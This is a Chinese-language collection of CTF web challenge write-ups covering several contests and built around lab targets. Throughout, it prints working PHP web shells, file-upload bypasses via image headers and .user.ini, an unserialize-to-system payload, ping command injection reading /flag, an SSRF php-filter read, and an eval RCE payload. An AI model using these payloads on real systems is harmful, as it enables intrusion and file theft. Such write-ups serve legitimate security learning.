note-34

Mini L-CTF GuessOneGuess

下载源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
module.exports = function(io) {
io.on('connection', (socket) => {
let targetNumber = Math.floor(Math.random() * 100) + 1;
let guessCount = 0;
let totalScore = 0;
const FLAG = process.env.FLAG || "miniL{THIS_IS_THE_FLAG}";
console.log(`新连接 - 目标数字: ${targetNumber}`);


socket.emit('game-message', {
type: 'welcome',
message: '猜一个1-100之间的数字!',
score: totalScore
});


socket.on('guess', (data) => {
try {
console.log(totalScore);
const guess = parseInt(data.value);

if (isNaN(guess)) {
throw new Error('请输入有效数字');
}

if (guess < 1 || guess > 100) {
throw new Error('请输入1-100之间的数字');
}

guessCount++;

if (guess === targetNumber) {

const currentScore = Math.floor(100 / Math.pow(2, guessCount - 1));
totalScore += currentScore;

let message = `🎉 猜对了!得分 +${currentScore} (总分数: ${totalScore})`;
let showFlag = false;

if (totalScore > 1.7976931348623157e308) {
message += `\n🏴 ${FLAG}`;
showFlag = true;
}

socket.emit('game-message', {
type: 'result',
win: true,
message: message,
score: totalScore,
showFlag: showFlag,
currentScore: currentScore
});


targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
guessCount = 0;
} else {
if (guessCount >= 100) {
console.log("100次未猜中!将扣除当前分数并重置");
socket.emit('punishment', {
message: "100次未猜中!将扣除当前分数并重置",
});
return;
}
socket.emit('game-message', {
type: 'result',
win: false,
message: guess < targetNumber ? '太小了!' : '太大了!',
score: totalScore
});
}
} catch (err) {
socket.emit('game-message', {
type: 'error',
message: err.message,
score: totalScore
});
}
});
socket.on('punishment-response', (data) => {
totalScore -= data.score;
guessCount = 0;
targetNumber = Math.floor(Math.random() * 100) + 1;
console.log(`新目标数字: ${targetNumber}`);
socket.emit('game-message', {
type: 'result',
win: true,
message: "扣除分数并重置",
score: totalScore,
showFlag: false,
});

});
});
};

注意到最后有一项猜错一百次后删除分数的函数
这个分数是data,为上传的data

1
totalScore -= data.score;

我们上传一个负数,根据源码里的减去,就能实现负负得正,获得足够分数
之后的totalScore是足够分数来输出flag的
此时再猜对一次触发输出flag即可

操作过程:
输入1 然后bp抓包重发99次,
在99次时把上传的分数改为:

1
'42["punishment-response",{"score":-1e309}]'

此时服务器里的数组已经达到发送flag的数值了,但是要触发分数检测然后输出flag需要猜对一次,
所以再猜对一次即可

实测直接使用punishment事件就可以直接上传分数了
不用错一百次

Mini L_CTF 麦霸评分

题目给了源码
看到源码里有获取原音频的地址:
/original.wav

提交录音的地址:
/compare-recording

那直接把原音提交即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

# 1. 直接请求原版音频(替换为实际音频路径)
audio_url = "http://127.0.0.1:37563/original.wav" #
audio = requests.get(audio_url).content

# 2. 伪装成用户录音提交
r = requests.post(
"http://127.0.0.1:37563/compare-recording", #
files={"audio": ("recording.wav", audio)}
)
a=requests.get(audio_url).headers

# 3. 提取flag
print(r.text)

给deepseek一眼顶针了,在浏览器控制台运行就行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
async function getFlag() {
// 替换成上一步获取的真实URL(示例:/original.wav?sign=abc123)
const serverPath = '/original.wav?sign=abc123';

// 直接使用服务器路径获取音频
const response = await fetch(serverPath);
const blob = await response.blob();

// 提交到评分接口
const formData = new FormData();
formData.append('audio', blob, 'recording.wav');

const res = await fetch('/compare-recording', { method: 'POST', body: formData });
const data = await res.json();
if (data.flag) alert('FLAG: ' + data.flag);
}

// 添加冷却时间绕过
setTimeout(getFlag, 11000); // 等待11秒后执行

Mini L-CTF 吃豆人

查看源码,得到上传的地址,
直接传

1
2
3
4
5
6
7
POST /submit_score HTTP/1.1
Host: http://127.0.0.1:29530/
Content-type:application/json

{
"score":50000
}

拿到flag

前端可以自己改,还有注释,有很多方法解
比如前端找到吃豆逻辑吧吃一个蓝豆改为100000000直接拿到

[SUCTF 2019]CheckIn

传正常图片提示里面有<?不给传,传码看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 407
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryE46PLUBJtp0zgdcj
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryE46PLUBJtp0zgdcj
Content-Disposition: form-data; name="fileUpload"; filename="php.jpg"
Content-Type: image/jpg

<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundaryE46PLUBJtp0zgdcj
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundaryE46PLUBJtp0zgdcj--

提示:
exif_imagetype:not image!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 403
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary8mJUC80q1aGOXScd
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary8mJUC80q1aGOXScd
Content-Disposition: form-data; name="fileUpload"; filename="php2.jpg"
Content-Type: image/jpg

FFD8FF
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundary8mJUC80q1aGOXScd
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary8mJUC80q1aGOXScd--

提示:
exif_imagetype:not image!

这次换个文件头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
POST /index.php HTTP/1.1
Host: 5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Length: 403
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary3I0b63Tc4FZzgA5s
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://5f2a0c7d-2bd7-429f-8299-9f0f5b659699.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary3I0b63Tc4FZzgA5s
Content-Disposition: form-data; name="fileUpload"; filename="php2.jpg"
Content-Type: image/jpg

GIF89a
<script language='php'>@eval($_POST[shell]);</script>
<script language='php'>system('cat /flag');</script>
------WebKitFormBoundary3I0b63Tc4FZzgA5s
Content-Disposition: form-data; name="upload"

提交
------WebKitFormBoundary3I0b63Tc4FZzgA5s--

回显

1
2
3
Your dir uploads/9987df285bb375eda68448315c5656e5
Your files :
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" [3]=> string(9) "php2.jpg" }

那目录就是
/uploads/9987df285bb375eda68448315c5656e5/php2.jpg
蚂蚁又是连不上,但是这次是nginx服务器啊,
那可能就是user.ini文件了
提交:

1
2
GIF89a
auto_prepend_file = php2.jpg

回显:

1
2
3
Your dir uploads/9987df285bb375eda68448315c5656e5
Your files :
array(5) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) ".user.ini" [3]=> string(9) "index.php" [4]=> string(9) "php2.jpg" }

这个.user.ini的大概用法是让目录下所有php文件包含上你指定的文件,看回显我上传的目录上是有一个index.php的,所以能用.user.ini的办法
蚂蚁连目录上的index.php即可
flag{e8b4a853-b79a-4497-912e-389a9fda03ba}

[网鼎杯 2020 朱雀组]phpweb

开门见孙笑川,然后会自己刷新,每次刷新都爆一样的错误

1
2
date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in <b>/var/www/html/index.php</b> on line <b>24</b><br />
2025-05-07 02:09:32 pm

问一下deepseek:
这个警告意味着PHP在处理日期和时间时没有找到有效的时区设置。

好吧,知道站点真实目录

扫一下目录,啥也没扫到
用bp抓包,发现它要刷新时就会向服务器返回如下请求头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /index.php HTTP/1.1
Host: b29f3d09-8d9e-4cdd-948e-6cce2ae6d854.node5.buuoj.cn:81
Content-Length: 29
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://b29f3d09-8d9e-4cdd-948e-6cce2ae6d854.node5.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://b29f3d09-8d9e-4cdd-948e-6cce2ae6d854.node5.buuoj.cn:81/index.php
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

func=date&p=Y-m-d+h%3Ai%3As+a

把date改为flag.php看看

1
Warning: call_user_func() expects parameter 1 to be a valid callback, function 'flag.php' not found or invalid function name in /var/www/html/index.php on line 24

把p的值去掉值传func看看

1
Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24

没见过这种,没思路了
注意到,回显的时间好像符合p参数的格式
Y-m-d+h%3Ai%3As+a
那么尝试一下p参数

1
2
3
4
func=date&p=ls;ls

Warning: date(): It is not safe to rely on the system's timezone settings. You are *required* to use the date.timezone setting or the date_default_timezone_set() function. In case you used any of those methods and you are still getting this warning, you most likely misspelled the timezone identifier. We selected the timezone 'UTC' for now, but please set date.timezone to select your timezone. in /var/www/html/index.php on line 24
Wednesday12;Wednesday12

没办法了,看wp吧

看好像func和p是能直接执行函数的,p就是参数,我还以为date是一个自定义函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
func=echo&p=./flag

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'echo' not found or invalid function name in /var/www/html/index.php on line 24

func=system&p=ls

Hacker...

func=highlight_file()&p=./flag

Warning: call_user_func() expects parameter 1 to be a valid callback, function 'highlight_file()' not found or invalid function name in /var/www/html/index.php on line 24

func=highlight_file&p=./flag

Warning: highlight_file(./flag): failed to open stream: No such file or directory in /var/www/html/index.php on line 24

Warning: highlight_file(): Failed opening './flag' for highlighting in /var/www/html/index.php on line 24

func=highlight_file&p=/../../../flag

Warning: highlight_file(/../../../flag): failed to open stream: No such file or directory in /var/www/html/index.php on line 24

Warning: highlight_file(): Failed opening '/../../../flag' for highlighting in /var/www/html/index.php on line 24

//看来无法进行目录穿越

那就看源码吧
func=highlight_file&p=index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<!DOCTYPE html>
<html>
<head>
<title>phpweb</title>
<style type="text/css">
body {
background: url("bg.jpg") no-repeat;
background-size: 100%;
}
p {
color: white;
}
</style>
</head>

<body>
<script language=javascript>
setTimeout("document.form1.submit()",5000)
</script>
<p>
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
</p>
<form id=form1 name=form1 action="index.php" method=post>
<input type=hidden id=func name=func value='date'>
<input type=hidden id=p name=p value='Y-m-d h:i:s a'>
</body>
</html>

可以看到过滤了一堆函数

1
"exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents"

好像没有file_get_contents() ?

func=file_get_contents;highlight_file&p=flag
//不行

func=file_get_contents&p=/../../../flag

Warning: file_get_contents(/../../../flag.php): failed to open stream: No such file or directory in /var/www/html/index.php on line 24

不行,看wp说要用反序列化,仔细看一眼源码
有个function __destruct()
改不会是这个?

可这里也没有unserialize 啊
为什么是用反序列化?

原来func就直接传unserialize啊
对哦,它也是php的一个函数

直接传

1
2
func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

然后_destruct 就能触发了

就能找到flag位置了

[NISACTF 2022]easyssrf

给一个获取网页快照的功能
那不用猜就是有curl函数
扫一下目录没扫出东西

抓包得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: node7.anna.nssctf.cn:29484
Content-Length: 26
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://node7.anna.nssctf.cn:29484
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node7.anna.nssctf.cn:29484/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

url=file%3A%2F%2Findex.php

f12 源码也没有功能源码

输入file:///flag
提示:
都说了这里看不了flag。。但是可以看看提示文件:/fl4g

file:///fl4g

你应该看看除了index.php,是不是还有个ha1x1ux1u.php

file:///ha1x1ux1u.php
不行

在url里直接访问ha1x1ux1u.php
得到:

1
2
3
4
5
6
7
8
9
10
11
12
<?php

highlight_file(__FILE__);
error_reporting(0);

$file = $_GET["file"];
if (stristr($file, "file")){
die("你败了.");
}

//flag in /flag
echo file_get_contents($file);

不能用file://
但是竟然有file_get_contents()那就能用php伪协议

直接传入:
http://node7.anna.nssctf.cn:29484/ha1x1ux1u.php?file=/flag

就拿到了flag?不用伪协议?

测试了一下,用php伪协议也可以:
?file=php://filter/convert.base64-encode/resource=/flag
回显:
TlNTQ1RGezg4YmE0NWNjLTJlYTEtNGRiNS04MzY1LWMzOTA0MDFiNmQ5N30K

解码就是flag

[LitCTF 2023]导弹迷踪

老规矩,只玩一遍
f12 找到flag
flag字样被改为
F|L|A|G
直接搜搜不到的

[NCTF 2018] 签到题

找了半小时,cookie和请求头里面分别有两个假的flag

真flag在源访问链接
即/index.php的访问标头里

[NSSCTF 2022 Spring Recruit]ezgame

f12 直接找
或者修改前端都行

[LitCTF 2023]Ping

尝试一下ping我的blog,提示只能ping ip地址

试了一下ping 我的服务ip 和 127.0.0.0
都是百分百丢包率

不管了,抓包看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST / HTTP/1.1
Host: node5.anna.nssctf.cn:29540
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: zh-CN,zh;q=0.9
Origin: http://node5.anna.nssctf.cn:29540
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://node5.anna.nssctf.cn:29540/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

command=127.0.0.0&ping=ping

改一下看看

1
2
3
4
5
6
7
8
9
command=/&ping=ls

没回显

command=127.0.0.0|ls&ping=ping

/回显:
index.php
upload

试了一下upload目录403

那直接看根目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
command=127.0.0.0|ls /&ping=ping

回显:
bin<br>
dev<br>
etc<br>
flag<br>
home<br>
lib<br>
media<br>
mnt<br>
opt<br>
proc<br>
root<br>
run<br>
sbin<br>
srv<br>
sys<br>
tmp<br>
usr<br>
var<br>

那接下来cat /flag就行

1
command=127.0.0.0|cat /flag&ping=ping

拿到flag

TGCTF ezupload

先上传一个正常的jpg

回显

1
2
3
4
5
6
7
{"status_code":403,"msg":"\u7981\u6b62\u4fdd\u5b58\u4e3a\u8be5\u7c7b\u578b\u6587\u4ef6\uff01"}

unicode解码后的意思就是

文件内容包含非法字符,禁止上传!

我不明白

抓包传马看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /upload.php HTTP/1.1
Host: 127.0.0.1:62381
Content-Length: 355
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:62381
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5Frc88R0NhJL8adt
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:62381/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundary5Frc88R0NhJL8adt
Content-Disposition: form-data; name="name"; filename="shell.jpg"
Content-Type: aimage/jpg

<script language='php'>@eval($_POST[zhong]);</script>
------WebKitFormBoundary5Frc88R0NhJL8adt
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundary5Frc88R0NhJL8adt--

还是不行

扫一下目录
看到有index.php.bak

1
2
3
4
5
[17:07:56] 200 -  419B  - /index.php
[17:07:57] 200 - 419B - /index.php.bak
[17:10:56] 200 - 30B - /upload.php
[17:10:57] 301 - 162B - /uploads -> http://127.0.0.1/uploads/
[17:10:57] 403 - 548B - /uploads/

访问一下uploads/,403,顺便知道了服务端是nginx
那猜测一下会有upload.php.bak
给我猜对了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

if (isset($_GET['name'])) {
$file_name = $_GET['name'];
} else {
$file_name = basename($_FILES['name']['name']);
}
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['name']['tmp_name'];
$file_content = file_get_contents($temp_file);

if (preg_match('/.+?</s', $file_content)) {
$msg = '文件内容包含非法字符,禁止上传!';
$status_code = 403; // 403 表示禁止访问
} else {
$img_path = UPLOAD_PATH . $file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
$msg = '文件上传成功!';
} else {
$msg = '上传出错!';
$status_code = 500; // 500 表示服务器内部错误
}
}
} else {
$msg = '禁止保存为该类型文件!';
$status_code = 403; // 403 表示禁止访问
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
$status_code = 404; // 404 表示资源未找到
}
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
'status_code' => $status_code,
'msg' => $msg,
]);

经测试,uploads/index.php
回显:
File not found.

并没有404
那应该就能用.user.ini的办法

上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
POST /upload.php HTTP/1.1
Host: 127.0.0.1:62381
Content-Length: 331
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:62381
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryMjahAHXakvDQQiYS
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:62381/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryMjahAHXakvDQQiYS
Content-Disposition: form-data; name="name"; filename="shell.jpg"
Content-Type: image/jpg

<script language='php'>@eval($_POST[shell]);
------WebKitFormBoundaryMjahAHXakvDQQiYS
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryMjahAHXakvDQQiYS--

回显:

1
2
3
4
5
6
7
8
9
HTTP/1.1 200 OK
Server: nginx
Date: Thu, 08 May 2025 09:24:17 GMT
Content-Type: text/html; charset=UTF-8
Connection: keep-alive
X-Powered-By: PHP/7.3.26
Content-Length: 70

{"status_code":200,"msg":"\u6587\u4ef6\u4e0a\u4f20\u6210\u529f\uff01"}

解码后的意思就是成功
文件上传成功!
访问
/uploads/shell.jpg
访问成功!

然后接下来传.user.ini

1
auto_prepend_file = shell.jpg

上传成功
接下来用蚂蚁连
/uploads/index.php
失败?

不对,竟然不用

1
2
<script>包裹,那应该也不用<script>头了
@eval($_POST[shell]);

也不行,
实在没办法了,去看wp,
说是在源码里知道能用name参数来进行目录穿越?

直接传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /upload.php?name=shell.php/. HTTP/1.1
Host: 127.0.0.1:50404
Content-Length: 323
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="129", "Not=A?Brand";v="8"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Accept-Language: zh-CN,zh;q=0.9
Origin: http://127.0.0.1:50404
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryDxKYmUwl8LfJkYfi
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:50404/
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

------WebKitFormBoundaryDxKYmUwl8LfJkYfi
Content-Disposition: form-data; name="name"; filename="hello.jpg"
Content-Type: image/jpg

<?php eval($_POST['shell']);?>



------WebKitFormBoundaryDxKYmUwl8LfJkYfi
Content-Disposition: form-data; name="submit"

上传文件
------WebKitFormBoundaryDxKYmUwl8LfJkYfi--

尽然就成功传进去了?
这个是什么构造法?什么原理?
/upload.php?name=hello.php/.

然后蚂蚁直接连
/uploads/shell.php
然后用蚂蚁的终端看环境
env
看到flag

原理是啥,怎么绕过的?

deepseek:

漏洞点:当攻击者通过GET参数name=shell.php/.传递文件名时,pathinfo()解析扩展名的行为异常。
pathinfo(‘shell.php/.’, PATHINFO_EXTENSION)会返回空值,因为末尾的/.被识别为目录结构而非文件扩展名。
黑名单检查$deny_ext因此误判文件类型合法,绕过防护。

反正我在kali里
echo 114514 > sunxiaochuan258.txt/.是无法执行的

那可能就是误判文件类型了

当然,刚才是烧一点的做法,正常的做法是
利用name参数来进行目录穿越,然后在index.php主目录下上传shell.jpg和.user.ini

这题也是学到不少

TGCTF AAA偷渡阴平

据说是web签到
开题拿到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php


$tgctf2025=$_GET['tgctf2025'];

if(!preg_match("/0|1|[3-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $tgctf2025)){
//hint:你可以对着键盘一个一个看,然后在没过滤的符号上用记号笔画一下(bushi
eval($tgctf2025);
}
else{
die('(╯‵□′)╯炸弹!•••*~●');
}

highlight_file(__FILE__);

?tgctf2025=system(ls);
//Warning: Use of undefined constant ls - assumed ‘ls’ (this will throw an Error in a future version of PHP) in /var/www/html/index.php(8) : eval()’d code on line 1
index.php

看wp得到payload
?tgctf2025=eval(end(current(get_defined_vars())));&b=system(‘cat /f*’);
不明白
问问ai

kimi:

该 PHP 脚本存在代码注入漏洞,以下是对 payload 的解释:

?tgctf2025=eval(end(current(get_defined_vars()))); :

get_defined_vars() 返回一个包含所有已定义变量的数组,包括全局变量和局部变量。

current() 函数取得数组中的当前元素,这里会得到数组的第一个元素,通常是 GLOBALS 数组。

end() 函数将数组的内部指针指向最后一条记录并返回该记录,此处作用于 current(get_defined_vars()) 的返回值,即 GLOBALS 数组,所以会指向 GLOBALS 数组的最后一个元素。

但在这段代码中,由于 get_defined_vars() 返回的是所有变量数组,而我们是先用 current() 取第一个元素(即 GLOBALS 数组),再用 end() 将其指针移到最后一个元素,但这对于绕过正则过滤和执行命令来说,并非关键,真正关键的是后续如何利用 b 参数来实现命令执行。

eval() 函数会对传入的字符串作为 PHP 代码进行解析和执行,将 end(current(get_defined_vars())) 的结果传递给 eval,但此处关键不在于这个 eval 的内容,而在于后面的参数是如何被利用的。

&b=system(‘cat /f*’); :

这里通过 GET 请求传递了一个 b 参数,其值为 system(‘cat /f*’);。

在 PHP 中,system() 函数用于执行外部程序,并且会输出结果。

‘cat /f*’ 是一个 Linux 系统命令,cat 用于输出文件内容,/f* 是匹配以 /f 开头的所有文件,通常在一些 CTF(Capture The Flag)题目中,可能存在 /flag.txt 或类似路径的文件存放着标志(flag),所以这个命令意图读取这样的文件内容。

